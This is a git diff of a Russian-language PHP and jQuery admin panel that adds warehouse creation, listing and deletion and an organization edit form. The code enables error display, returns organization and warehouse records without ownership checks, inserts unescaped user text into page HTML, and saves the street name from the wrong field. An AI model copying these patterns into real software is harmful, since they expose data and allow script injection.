Кривое создание и удаление складов
|
@ -2,14 +2,18 @@
|
||||||
</div>
|
</div>
|
||||||
<!-- END PAGE CONTENT-->
|
<!-- END PAGE CONTENT-->
|
||||||
<div class="clear-fix" style="clear: all;"></div>
|
<div class="clear-fix" style="clear: all;"></div>
|
||||||
<footer class="page-footer">
|
<!-- footer class="page-footer">
|
||||||
<div class="font-13">2022 © <b>YurecSoftware</b> - All rights reserved.</div>
|
<div class="font-13">2022 © <b>YurecSoftware</b> - All rights reserved.</div>
|
||||||
<!-- a class="px-4" href="http://themeforest.net/item/adminca-responsive-bootstrap-4-3-angular-4-admin-dashboard-template/20912589" target="_blank">BUY PREMIUM</a -->
|
< a class="px-4" href="http://themeforest.net/item/adminca-responsive-bootstrap-4-3-angular-4-admin-dashboard-template/20912589" target="_blank">BUY PREMIUM</a ->
|
||||||
<div class="to-top"><i class="fa fa-angle-double-up"></i></div>
|
<div class="to-top"><i class="fa fa-angle-double-up"></i></div>
|
||||||
</footer>
|
</footer -->
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<!-- BEGIN PAGA BACKDROPS-->
|
<!-- BEGIN PAGA BACKDROPS-->
|
||||||
<div class="sidenav-backdrop backdrop"></div>
|
<div class="sidenav-backdrop backdrop"></div>
|
||||||
<div class="preloader-backdrop">
|
<div class="preloader-backdrop">
|
||||||
|
|
|
@ -1,9 +1,69 @@
|
||||||
<?php
|
<?php
|
||||||
ini_set('display_errors', 0 );
|
ini_set('display_errors', 1 );
|
||||||
if ( !$_SESSION['user_id'] ) die ( 'Кыш' );
|
if ( !$_SESSION['user_id'] ) die ( 'Кыш' );
|
||||||
|
|
||||||
switch( @$_POST['act'] ) {
|
switch( @$_POST['act'] ) {
|
||||||
|
|
||||||
|
/* ----------------------------------------------------------------------
|
||||||
|
19.02.2023
|
||||||
|
Удаление склада
|
||||||
|
---------------------------------------------------------------------- */
|
||||||
|
case 'del_sklad':
|
||||||
|
// По ИД склада определяем магазин, смотрим в таблице multiOrg что магазин наш и тогда удаляем
|
||||||
|
$org_id=\DB::getValue("SELECT `org_id` FROM `sp_sklad` WHERE `id`=? LIMIT 1", $_POST['sklad_id']);
|
||||||
|
$id=\DB::getValue ( "SELECT `id` FROM `multiOrg` WHERE `user_id`=? AND `org_id`=? AND `status`=? LIMIT 1", array( $_SESSION['user_id'], $org_id, 1 ) );
|
||||||
|
if ($id)\DB::set("DELETE FROM `sp_sklad` WHERE `id`=? LIMIT 1", $_POST['sklad_id']);
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
break;
|
||||||
|
|
||||||
|
/* ----------------------------------------------------------------------
|
||||||
|
17.02.2023
|
||||||
|
Получаем список складов
|
||||||
|
отправляем jsonom
|
||||||
|
---------------------------------------------------------------------- */
|
||||||
|
case 'get_sklad':
|
||||||
|
echo \json::to_j(\DB::getAll("SELECT `id`, `txt` FROM `sp_sklad` WHERE `org_id`=? ORDER BY `txt`", $_POST['org_id']));
|
||||||
|
break;
|
||||||
|
/* ----------------------------------------------------------------------
|
||||||
|
16.02.2023
|
||||||
|
Форма сохранения склада
|
||||||
|
Если есть ИД - сохраняем изменения, если нет - создаем
|
||||||
|
---------------------------------------------------------------------- */
|
||||||
|
case 'newsklad':
|
||||||
|
//Точно ли выбрана организация... Если нет, то хрен
|
||||||
|
if (!$_POST['org_id'])die("Не выбрана организация");
|
||||||
|
//Узнаем, есть ли улица, если нет - создаем....
|
||||||
|
$street_id=\DB::getValue("SELECT `id` FROM `street` WHERE `txt`=? AND `city_id`=? LIMIT 1", array($_POST['street'], $_POST['city']));
|
||||||
|
if (!$street_id)$street_id=\DB::add("INSERT INTO `street` (`txt`, `city_id`, `region_id`, `strana_id`) VALUES(?, ?, ?, ?)", array($_POST['txt'], $_POST['city'], $_POST['region'], 1));
|
||||||
|
//Если выбран склад - обновляем, иначе - создаем
|
||||||
|
if(@$_POST['sklad_id']){
|
||||||
|
\DB::set("UPDATE `sp_sklad` SET `org_id`=?, `txt`=?,`region`=?, `city`=?, `street`=?, `dom`=?,`telefon`=?, `sp_sklad_tip`=?, `map`=?, `id1c`=? WHERE `id`=? LIMIT 1", array( $_POST['org_id'],$_POST['txt'], $_POST['region'],$_POST['city'], $street_id, $_POST['dom'], $_POST['telefon'],$_POST['sp_sklad_tip'], $_POST['map'],$_POST['id1c'],$_POST['sklad_id'] ));
|
||||||
|
echo 'update';
|
||||||
|
}else{
|
||||||
|
echo \DB::add("INSERT INTO `sp_sklad` (`org_id`,`txt`, `region`,`city`, `street`,`dom`, `telefon`,`sp_sklad_tip`,`map`, `id1c`) VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", array($_POST['org_id'], $_POST['txt'], $_POST['region'], $_POST['city'], $street_id, $_POST['dom'], $_POST['telefon'], $_POST['sp_sklad_tip'], $_POST['map'], $_POST['id1c']));
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
|
/* ----------------------------------------------------------------------
|
||||||
|
15.02.2023
|
||||||
|
Форма сохранения данных об организации
|
||||||
|
Если есть ИД - сохраняем изменения, если нет - создаем
|
||||||
|
---------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
case 'saveOrg':
|
||||||
|
$vid = ( strlen ( $_POST['inn'] ) ==12 ) ? 'Индивидуальный предприниматель' : 'Юридическое лицо';
|
||||||
|
if ($_POST['org-id']){
|
||||||
|
\DB::set("UPDATE `org` SET `txt`=?,`inn`=?, `kpp`=?,`ogrn`=?,`vid`=?,`ur_adres`=?,`fact_adres`=?, `site`=?, `email`=?, `tel`=? WHERE `id`=? LIMIT 1", array($_POST['txt'], $_POST['inn'], $_POST['kpp'], $_POST['ogrn'], $vid, $_POST['ur_adres'], $_POST['fact_adres'], $_POST['site'], $_POST['email'], $_POST['tel'],$_POST['org-id'] ) );
|
||||||
|
echo 'update';
|
||||||
|
}else{
|
||||||
|
$insert_id=\DB::add("INSERT INTO `org` (`txt`, `inn`, `kpp`, `ogrn`, `vid`, `ur_adres`, `fact_adres`, `site`, `email`, `tel`) VALUES(?,?,?,?,?,?,?,?,?,?)", array( $_POST['txt'], $_POST['inn'], $_POST['kpp'], $_POST['ogrn'], $vid, $_POST['ur_adres'], $_POST['fact_adres'], $_POST['site'], $_POST['email'], $_POST['tel'] ) );
|
||||||
|
\DB::add ( "INSERT INTO `multiOrg` ( `user_id`, `org_id`, `status` )VALUES( ?, ?, ? )", array( $_SESSION['user_id'], $insert_id, 1 ) );
|
||||||
|
echo $insert_id;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
/* ----------------------------------------------------------------------
|
/* ----------------------------------------------------------------------
|
||||||
07.02.2023
|
07.02.2023
|
||||||
Вынимаем данные организации для редактирования
|
Вынимаем данные организации для редактирования
|
||||||
|
@ -11,9 +71,6 @@ switch( @$_POST['act'] ) {
|
||||||
case 'getorg':
|
case 'getorg':
|
||||||
$arr=\DB::getAll("SELECT * FROM `org` WHERE `id`=?", $_POST['id']);
|
$arr=\DB::getAll("SELECT * FROM `org` WHERE `id`=?", $_POST['id']);
|
||||||
echo \json::to_j($arr);
|
echo \json::to_j($arr);
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
break;
|
break;
|
||||||
/* ----------------------------------------------------------------------
|
/* ----------------------------------------------------------------------
|
||||||
07.02.2023
|
07.02.2023
|
||||||
|
|
|
@ -0,0 +1,18 @@
|
||||||
|
<form id="formEditOrg">
|
||||||
|
<input type="hidden" id="org-id" name="org-id">
|
||||||
|
<input type="hidden" name="act" value="saveOrg">
|
||||||
|
<input class="form-control mb-2" id="txt" name="txt" placeholder="Наименование организации">
|
||||||
|
<input class="form-control mb-2" id="inn" name="inn" placeholder="ИНН" maxlength="12">
|
||||||
|
<input class="form-control mb-2" id="kpp" name="kpp" placeholder="КПП" maxlength="9">
|
||||||
|
<input class="form-control mb-2" id="ogrn" name="ogrn" placeholder="ОГРН">
|
||||||
|
<input class="form-control mb-2" id="ur_adres" name="ur_adres" placeholder="Юридический адрес">
|
||||||
|
<input class="form-control mb-2" id="fact_adres" name="fact_adres" placeholder="Фактический адрес">
|
||||||
|
<hr>
|
||||||
|
<b>Контакты организации</b>
|
||||||
|
<input class="form-control mb-2" id="site" name="site" placeholder="Официальный сайт">
|
||||||
|
<input class="form-control mb-2" id="email" name="email" placeholder="Электронная почта">
|
||||||
|
<textarea class="form-control mb-2" id="tel" name="tel" placeholder="Номера телефонов" style="height: 200px;"></textarea>
|
||||||
|
<input type="submit" name="ok" value="Сохранить" class="btn btn-dark">
|
||||||
|
<div class="alert alert-dark hidden" role="alert" id="alert-od">
|
||||||
|
</div>
|
||||||
|
</form>
|
|
@ -28,9 +28,9 @@
|
||||||
<div class="col-lg-12">
|
<div class="col-lg-12">
|
||||||
<div class="ibox p-3">
|
<div class="ibox p-3">
|
||||||
<h3>Мои организации</h3>
|
<h3>Мои организации</h3>
|
||||||
<table class="table">
|
<table class="table" id="table-org-list">
|
||||||
{section name=customer loop=$listMyOrgs} {if $listMyOrgs[customer].id}
|
{section name=customer loop=$listMyOrgs} {if $listMyOrgs[customer].id}
|
||||||
<tr><td><a href="{$listMyOrgs[customer].org_id}" class="editorg">{$listMyOrgs[customer].txt}</a></td></tr>
|
<tr><td id="org-list-{$listMyOrgs[customer].org_id}"><a href="{$listMyOrgs[customer].org_id}" class="editorg">{$listMyOrgs[customer].txt}</a></td></tr>
|
||||||
{/if} {/section}
|
{/if} {/section}
|
||||||
</table>
|
</table>
|
||||||
</div>
|
</div>
|
||||||
|
@ -60,24 +60,30 @@
|
||||||
<li class="nav-item">
|
<li class="nav-item">
|
||||||
<a class="nav-link" href="#tab-8-2" data-toggle="tab"><i class="fa fa-bus"></i> Документация</a>
|
<a class="nav-link" href="#tab-8-2" data-toggle="tab"><i class="fa fa-bus"></i> Документация</a>
|
||||||
</li>
|
</li>
|
||||||
|
|
||||||
|
<li class="nav-item">
|
||||||
|
<a class="nav-link" href="#tab-8-4" data-toggle="tab"><i class="fa fa-bus"></i> Склады</a>
|
||||||
|
</li>
|
||||||
</ul>
|
</ul>
|
||||||
</div>
|
</div>
|
||||||
<div class="ibox-body">
|
<div class="ibox-body">
|
||||||
<div class="tab-content">
|
<div class="tab-content">
|
||||||
<div class="tab-pane fade show active" id="tab-8-1">
|
<div class="tab-pane fade show active" id="tab-8-1">
|
||||||
<form id="formEditOrg">
|
{include file=$inc_org_edit}
|
||||||
<input class="form-control mb-2" id="txt" placeholder="Наименование организации">
|
|
||||||
<input class="form-control mb-2" id="inn" placeholder="ИНН">
|
|
||||||
<input class="form-control mb-2" id="kpp" placeholder="КПП">
|
|
||||||
<input class="form-control mb-2" id="ogrn" placeholder="ОГРН">
|
|
||||||
<input class="form-control mb-2" id="ur_adres" placeholder="Юридический адрес">
|
|
||||||
<input class="form-control mb-2" id="fact_adres" placeholder="Фактический адрес">
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
</form>
|
|
||||||
</div>
|
</div>
|
||||||
<div class="tab-pane" id="tab-8-2">
|
<div class="tab-pane" id="tab-8-2">
|
||||||
|
<!-- Документы -->
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<div class="tab-pane" id="tab-8-4">
|
||||||
|
<a class="btn btn-dark" href="#modalNewSklad" data-toggle="modal">Создать</a>
|
||||||
|
<!-- склады -->
|
||||||
|
<table class="table" id="sklad_list">
|
||||||
|
|
||||||
|
</table>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
@ -95,6 +101,7 @@
|
||||||
<div class="modal-dialog modal-dialog-centered modal-xl" role="document">
|
<div class="modal-dialog modal-dialog-centered modal-xl" role="document">
|
||||||
<div class="modal-content">
|
<div class="modal-content">
|
||||||
<div class="modal-body">
|
<div class="modal-body">
|
||||||
|
<!-- -->
|
||||||
<div class="container-fluid">
|
<div class="container-fluid">
|
||||||
<div class="row">
|
<div class="row">
|
||||||
<div class="col text-right">
|
<div class="col text-right">
|
||||||
|
@ -104,7 +111,8 @@
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
<!-- -->
|
||||||
|
<!-- -->
|
||||||
<div class="row">
|
<div class="row">
|
||||||
<div class="col-md-12">
|
<div class="col-md-12">
|
||||||
<div class="row">
|
<div class="row">
|
||||||
|
@ -124,7 +132,13 @@
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
<!-- -->
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
{include file=$modal_new_sklad}
|
||||||
|
|
||||||
{include file=$footer_admin plugins="<script src='/api/jquery/plugins/jquery_chained/jquery.chained.min.js'></script>"}
|
{include file=$footer_admin plugins="<script src='/api/jquery/plugins/jquery_chained/jquery.chained.min.js'></script>"}
|
|
@ -31,28 +31,31 @@ $smarty -> assign( 'listMyOrgsCheck', $listMyOrgsCheck );
|
||||||
if ( !$_SESSION['user_id'] && !ID ) header ( 'Location: /login/' );
|
if ( !$_SESSION['user_id'] && !ID ) header ( 'Location: /login/' );
|
||||||
|
|
||||||
/* ----------------------------------------------------------------------
|
/* ----------------------------------------------------------------------
|
||||||
06.11.2022
|
15.02.2022
|
||||||
Получаем опции пользователя для меню
|
Получаем справочник типов складов
|
||||||
---------------------------------------------------------------------- */
|
---------------------------------------------------------------------- */
|
||||||
|
$smarty -> assign( 'sp_sklad_tip', \DB::getAll("SELECT * FROM `sp_sklad_tip` ORDER BY `txt`") );
|
||||||
//$userOption = DB::getAll('SELECT * FROM `userOption` WHERE `user_id` = ' . Clean::str($_SESSION['user_id']) . ' LIMIT 1');
|
|
||||||
//$smarty -> assign( 'userOption', $userOption );
|
|
||||||
|
|
||||||
/* ----------------------------------------------------------------------
|
/* ----------------------------------------------------------------------
|
||||||
06.11.2022
|
15.02.2022
|
||||||
Получаем список своих организаций
|
Получаем справочник регионов
|
||||||
---------------------------------------------------------------------- */
|
---------------------------------------------------------------------- */
|
||||||
/*
|
$smarty -> assign( 'region', \DB::getAll("SELECT * FROM `region` WHERE `strana_id`=1 ORDER BY `txt`") );
|
||||||
$myOrgsOnCheck = \DB::getAll('SELECT * FROM `org` WHERE `id` IN (SELECT `org_id` FROM `multiOrg` WHERE `user_id`=' . $_SESSION['user_id'] . ' AND `status`<>1 )');
|
|
||||||
|
|
||||||
for ($i=0; $i<count($myOrgsOnCheck); $i++){
|
/* ----------------------------------------------------------------------
|
||||||
$myOrgsOnCheck[$i]['status'] = \DB::getValue("SELECT `status` FROM `multiOrg` WHERE `org_id` = " . $myOrgsOnCheck[$i]['id']);
|
15.02.2022
|
||||||
}
|
Получаем справочник городов
|
||||||
|
---------------------------------------------------------------------- */
|
||||||
|
$smarty -> assign( 'city', \DB::getAll("SELECT * FROM `city` WHERE `strana_id`=1 ORDER BY `txt`") );
|
||||||
|
|
||||||
|
|
||||||
|
/* ----------------------------------------------------------------------
|
||||||
|
15.02.2022
|
||||||
|
Подключение модулей
|
||||||
|
---------------------------------------------------------------------- */
|
||||||
|
$smarty -> assign( 'modal_new_sklad', "api/modules/lk-my-orgs/modal_new_sklad.html" );
|
||||||
|
$smarty -> assign( 'inc_org_edit', "api/modules/lk-my-orgs/inc_org_edit.html" );
|
||||||
|
|
||||||
|
|
||||||
$smarty -> assign( 'myOrgsOnCheck', $myOrgsOnCheck );
|
|
||||||
|
|
||||||
$myOrgs = \DB::getAll('SELECT * FROM `org` WHERE `id` IN (SELECT `org_id` FROM `multiOrg` WHERE `user_id`=' . $_SESSION['user_id'] . ' AND `status`=1 )');
|
|
||||||
$smarty -> assign( 'myOrgs', $myOrgs );
|
|
||||||
*/
|
|
||||||
?>
|
?>
|
|
@ -1,3 +1,58 @@
|
||||||
|
/* ----------------------------------------------------------------------
|
||||||
|
19.02.2023
|
||||||
|
Удаление склада
|
||||||
|
---------------------------------------------------------------------- */
|
||||||
|
$(document).on("click", ".a-del-sklad", function(event){
|
||||||
|
var sklad_id = $(this).attr('href');
|
||||||
|
$.ajax({
|
||||||
|
type: 'POST',
|
||||||
|
url: '/act/lk-my-orgs',
|
||||||
|
data: 'act=del_sklad&sklad_id=' + $(this).attr('href'),
|
||||||
|
success: function(data) {
|
||||||
|
(function() {
|
||||||
|
//alert(sklad_id);
|
||||||
|
$("#tr_sklad_list_" + sklad_id).addClass("hidden");
|
||||||
|
})();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
return false;
|
||||||
|
})
|
||||||
|
|
||||||
|
|
||||||
|
/* ----------------------------------------------------------------------
|
||||||
|
15.02.2023
|
||||||
|
Форма сохранения склада
|
||||||
|
---------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
$("#formNewSklad").submit(function(event) {
|
||||||
|
var alertID=$(this).data("alertID")
|
||||||
|
event.preventDefault();
|
||||||
|
var formData = new FormData(this);
|
||||||
|
$.ajax({
|
||||||
|
type: 'POST', // Тип запроса
|
||||||
|
url: '/act/lk-my-orgs', // Скрипт обработчика
|
||||||
|
data: formData, // Данные которые мы передаем
|
||||||
|
cache: false, // В запросах POST отключено по умолчанию, но перестрахуемся
|
||||||
|
contentType: false, // Тип кодирования данных мы задали в форме, это отключим
|
||||||
|
processData: false,
|
||||||
|
success: function(data) {
|
||||||
|
(function() {
|
||||||
|
if (data=='update'){
|
||||||
|
//??? Обновить нужно строку с новым именем
|
||||||
|
$(alertID).text('Сохранено');
|
||||||
|
}else{
|
||||||
|
$(alertID).text('Склад создан!');
|
||||||
|
// Проверить - не встает имя склада автоматом
|
||||||
|
$("#sklad_list").append("<tr id='tr_sklad_list_" + data + "'><td><a href='" + data + "' class='a_edit_sklad'>" + $("#inputSkladTxt").val() + "</a></td><td><a href='" + data + "' type='button' class='btn btn-dark a-del-sklad'>Удалить</a></td></tr>");
|
||||||
|
}
|
||||||
|
})(data, alertID);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
$(".close").click();
|
||||||
|
$(this)[0].reset();
|
||||||
|
})
|
||||||
|
|
||||||
|
|
||||||
/* ----------------------------------------------------------------------
|
/* ----------------------------------------------------------------------
|
||||||
07.02.2023
|
07.02.2023
|
||||||
Форма добавления коментария
|
Форма добавления коментария
|
||||||
|
@ -17,12 +72,41 @@ $("#formNewOrg").submit(function(event) {
|
||||||
$("#resultAddOrg").removeClass('hidden');
|
$("#resultAddOrg").removeClass('hidden');
|
||||||
})
|
})
|
||||||
|
|
||||||
|
/* ----------------------------------------------------------------------
|
||||||
|
15.02.2023
|
||||||
|
Форма сохранения данных об организации
|
||||||
|
---------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
$("#formEditOrg").submit(function(event) {
|
||||||
|
event.preventDefault();
|
||||||
|
var formData = new FormData(this);
|
||||||
|
$.ajax({
|
||||||
|
type: 'POST', // Тип запроса
|
||||||
|
url: '/act/lk-my-orgs', // Скрипт обработчика
|
||||||
|
data: formData, // Данные которые мы передаем
|
||||||
|
cache: false, // В запросах POST отключено по умолчанию, но перестрахуемся
|
||||||
|
contentType: false, // Тип кодирования данных мы задали в форме, это отключим
|
||||||
|
processData: false,
|
||||||
|
success: function(data) {
|
||||||
|
(function() {
|
||||||
|
$("#alert-od").removeClass('hidden');
|
||||||
|
$("#alert-od").cl
|
||||||
|
if (data=='update'){
|
||||||
|
$("#alert-od").text('Сохранено');
|
||||||
|
}else{
|
||||||
|
$("#alert-od").text('Организация создана');
|
||||||
|
$("#org-id").val(data);
|
||||||
|
$("#table-org-list").append('<tr><td id="org-list-'+ data +'"><a href="' + data + '" class="editorg">' + $("#txt").val() + '</a></td></tr>');
|
||||||
|
}
|
||||||
|
})(data);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
})
|
||||||
/* ----------------------------------------------------------------------
|
/* ----------------------------------------------------------------------
|
||||||
07.02.2023
|
07.02.2023
|
||||||
Вынимаем данные организации для редактирования
|
Вынимаем данные организации для редактирования
|
||||||
---------------------------------------------------------------------- */
|
---------------------------------------------------------------------- */
|
||||||
$(".editorg").click(function(event) {
|
$(document).on("click", ".editorg", function(event){
|
||||||
$.ajax({
|
$.ajax({
|
||||||
type: 'POST',
|
type: 'POST',
|
||||||
url: '/act/lk-my-orgs',
|
url: '/act/lk-my-orgs',
|
||||||
|
@ -30,27 +114,45 @@ $(".editorg").click(function(event) {
|
||||||
dataType: 'json',
|
dataType: 'json',
|
||||||
success: function(data) {
|
success: function(data) {
|
||||||
$.each(data, function(index, element){
|
$.each(data, function(index, element){
|
||||||
|
$("#org-id").val(element.id);
|
||||||
|
$("[name=org_id]").val(element.id);
|
||||||
$("#txt").val(element.txt);
|
$("#txt").val(element.txt);
|
||||||
$("#inn").val(element.inn);
|
$("#inn").val(element.inn);
|
||||||
$("#kpp").val(element.kpp);
|
$("#kpp").val(element.kpp);
|
||||||
$("#ogrn").val(element.ogrn);
|
$("#ogrn").val(element.ogrn);
|
||||||
|
$("#ur_adres").val(element.ur_adres);
|
||||||
|
$("#fact_adres").val(element.fact_adres);
|
||||||
|
$("#site").val(element.site);
|
||||||
|
$("#email").val(element.email);
|
||||||
|
$("#tel").val(element.tel);
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
$("#sklad_list").html('');
|
||||||
|
$.ajax({
|
||||||
|
type: 'POST',
|
||||||
|
url: '/act/lk-my-orgs',
|
||||||
|
data: 'act=get_sklad&org_id=' + $(this).attr('href'),
|
||||||
|
dataType: 'json',
|
||||||
|
success: function(data) {
|
||||||
|
$.each(data, function(index, element1){
|
||||||
|
$("#sklad_list").append("<tr id='tr_sklad_list_" + element1.id + "'><td><a href='" + element1.id + "' class='a_edit_sklad'>" + element1.txt + "</a></td><td><a href='" + element1.id + "' type='button' class='btn btn-dark a-del-sklad'>Удалить</a></td></tr>");
|
||||||
|
})
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
return false;
|
return false;
|
||||||
})
|
})
|
||||||
|
|
||||||
|
|
||||||
/* ----------------------------------------------------------------------
|
/* ----------------------------------------------------------------------
|
||||||
01.11.2022
|
01.11.2022
|
||||||
Поиск организации по ИНН
|
Поиск организации по ИНН
|
||||||
---------------------------------------------------------------------- */
|
---------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
|
||||||
function showOrg(data){
|
|
||||||
alert(data);
|
|
||||||
}
|
|
||||||
|
|
||||||
$("#input-inn").keyup(function(event) {
|
$("#input-inn").keyup(function(event) {
|
||||||
var inn=$(this).val();
|
var inn=$(this).val();
|
||||||
//Отправлять аякс запрос только в том случае, если длина ИНН 10 или 12 символов
|
//Отправлять аякс запрос только в том случае, если длина ИНН 10 или 12 символов
|
||||||
|
@ -105,9 +207,6 @@ $("#btnAddOrg").click(function(event) {
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
})
|
})
|
||||||
$("#sel-children-city").chained("#sel-parent-region");
|
$("#sel-children-city").chained("#sel-parent-region");
|
||||||
|
|
||||||
|
@ -120,188 +219,4 @@ function getRandomInt(min, max) {
|
||||||
max = Math.floor(max);
|
max = Math.floor(max);
|
||||||
return Math.floor(Math.random() * (max - min)) + min; //Максимум не включается, минимум включается
|
return Math.floor(Math.random() * (max - min)) + min; //Максимум не включается, минимум включается
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ----------------------------------------------------------------------
|
|
||||||
03.06.2022
|
|
||||||
Сохраняем информацию о пользователе
|
|
||||||
---------------------------------------------------------------------- */
|
|
||||||
/*
|
|
||||||
$('#user_json').submit(function(event) {
|
|
||||||
event.preventDefault();
|
|
||||||
var formData = new FormData(this);
|
|
||||||
$.ajax({
|
|
||||||
type: 'POST', // Тип запроса
|
|
||||||
url: $(this).attr('action'), // Скрипт обработчика
|
|
||||||
data: formData, // Данные которые мы передаем
|
|
||||||
cache: false, // В запросах POST отключено по умолчанию, но перестрахуемся
|
|
||||||
contentType: false, // Тип кодирования данных мы задали в форме, это отключим
|
|
||||||
processData: false,
|
|
||||||
success: function(data) {}
|
|
||||||
});
|
|
||||||
$("#change_ok").removeClass("hidden");
|
|
||||||
});
|
|
||||||
|
|
||||||
/* ----------------------------------------------------------------------
|
|
||||||
04.06.2022
|
|
||||||
Ищем организацию по ИНН
|
|
||||||
---------------------------------------------------------------------- */
|
|
||||||
/*
|
|
||||||
function org_name(txt) {
|
|
||||||
if (txt == '1') {
|
|
||||||
$("#input-org_name").val('');
|
|
||||||
$("#input-org_name").removeAttr('disabled');
|
|
||||||
} else {
|
|
||||||
$("#input-org_name").val(txt);
|
|
||||||
$("#input-org_name").attr('disabled');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
$('#input-inn').keyup(function(event) {
|
|
||||||
event.preventDefault();
|
|
||||||
var inn = $(this).val();
|
|
||||||
if (inn.length == 10 || inn.length == 12) {
|
|
||||||
var act = 'find_org';
|
|
||||||
$.ajax({
|
|
||||||
type: 'POST', // Тип запроса
|
|
||||||
url: '/act/lk', // Скрипт обработчика
|
|
||||||
data: 'act=' + act + '&inn=' + inn, // Данные которые мы передаем
|
|
||||||
success: function(data) { org_name(data) }
|
|
||||||
});
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
/* ----------------------------------------------------------------------
|
|
||||||
05.06.2022
|
|
||||||
Сохранение адреса доставки
|
|
||||||
---------------------------------------------------------------------- */
|
|
||||||
/*
|
|
||||||
function add_adres_append(gorod, street, dom) {
|
|
||||||
var new_tr = '<tr><td style="text-align: left;">' + gorod + ' ' + street + ' ' + dom + '</td><td style="width: 20px;"></td></tr>';
|
|
||||||
$("#table_adres").append(new_tr);
|
|
||||||
}
|
|
||||||
|
|
||||||
$('#add_adres').submit(function(event) {
|
|
||||||
event.preventDefault();
|
|
||||||
var formData = new FormData(this);
|
|
||||||
$.ajax({
|
|
||||||
type: 'POST', // Тип запроса
|
|
||||||
url: $(this).attr('action'), // Скрипт обработчика
|
|
||||||
data: formData, // Данные которые мы передаем
|
|
||||||
cache: false, // В запросах POST отключено по умолчанию, но перестрахуемся
|
|
||||||
contentType: false, // Тип кодирования данных мы задали в форме, это отключим
|
|
||||||
processData: false,
|
|
||||||
success: function(data) {}
|
|
||||||
});
|
|
||||||
// не много индусского кода не повредит
|
|
||||||
for (var pair of formData.entries()) {
|
|
||||||
if (pair[0] == 'gorod') var gorod = pair[1];
|
|
||||||
if (pair[0] == 'street') var street = pair[1];
|
|
||||||
if (pair[0] == 'dom') var dom = pair[1];
|
|
||||||
}
|
|
||||||
|
|
||||||
add_adres_append(gorod, street, dom);
|
|
||||||
$(".input-adres").val('');
|
|
||||||
});
|
|
||||||
|
|
||||||
/* ----------------------------------------------------------------------
|
|
||||||
05.06.2022
|
|
||||||
Удаление адресов
|
|
||||||
---------------------------------------------------------------------- */
|
|
||||||
/*
|
|
||||||
$('.img-del').click(function(event) {
|
|
||||||
var id = $(this).data('id');
|
|
||||||
$("#" + id).hide("600");
|
|
||||||
$.ajax({
|
|
||||||
type: 'POST', // Тип запроса
|
|
||||||
url: '/act/lk', // Скрипт обработчика
|
|
||||||
data: 'id=' + id + '&act=del_adres', // Данные которые мы передаем
|
|
||||||
success: function(data) {}
|
|
||||||
});
|
|
||||||
})
|
|
||||||
|
|
||||||
|
|
||||||
/* ----------------------------------------------------------------------
|
|
||||||
10.10.2022
|
|
||||||
Сохранение личной информации (p006)
|
|
||||||
---------------------------------------------------------------------- */
|
|
||||||
/*
|
|
||||||
$('#btnSave-p006').click(function(event) {
|
|
||||||
//event.preventDefault();
|
|
||||||
var familiya = $("#familiya").val();
|
|
||||||
var imya = $("#imya").val();
|
|
||||||
var otchestvo = $("#otchestvo").val();
|
|
||||||
var tel = $("#tel").val();
|
|
||||||
var email = $("#email").val();
|
|
||||||
$.ajax({
|
|
||||||
type: 'POST', // Тип запроса
|
|
||||||
url: '/act/lk', // Скрипт обработчика
|
|
||||||
data: 'act=btnSave-p006&familiya=' + familiya + '&imya=' + imya + '&otchestvo=' + otchestvo + '&tel=' + tel + '&email=' + email, // Данные которые мы передаем
|
|
||||||
success: function(data) {}
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
$("#btn-get-bablo").click(function(event) {
|
|
||||||
var summa = $("#input-get-summ").val();
|
|
||||||
$.ajax({
|
|
||||||
type: "POST",
|
|
||||||
url: '/act/lk',
|
|
||||||
data: "act=get_bablo&summa=" + summa,
|
|
||||||
success: function(data) {
|
|
||||||
alert(data);
|
|
||||||
}
|
|
||||||
|
|
||||||
});
|
|
||||||
$('#modal-balans-vyvod').modal('hide');
|
|
||||||
return false;
|
|
||||||
})
|
|
||||||
|
|
||||||
|
|
||||||
//кнопка удаления в модальном окошке
|
|
||||||
$("#input-summ").keyup(function(event) {
|
|
||||||
var rnd = getRandomInt(100000, 999999);
|
|
||||||
$("#div-img-qr").load("/api/modules/lk/load.php?summ=" + $(this).val());
|
|
||||||
/*$.ajax({
|
|
||||||
type: "POST",
|
|
||||||
url: '/act/lk',
|
|
||||||
data: "act=creat_qr&id=" + $(this).val(),
|
|
||||||
success: function(data) {
|
|
||||||
$("#img-qr").attr('src', data + '?id=' + rnd);
|
|
||||||
}
|
|
||||||
|
|
||||||
});
|
|
||||||
*/
|
*/
|
||||||
/*
|
|
||||||
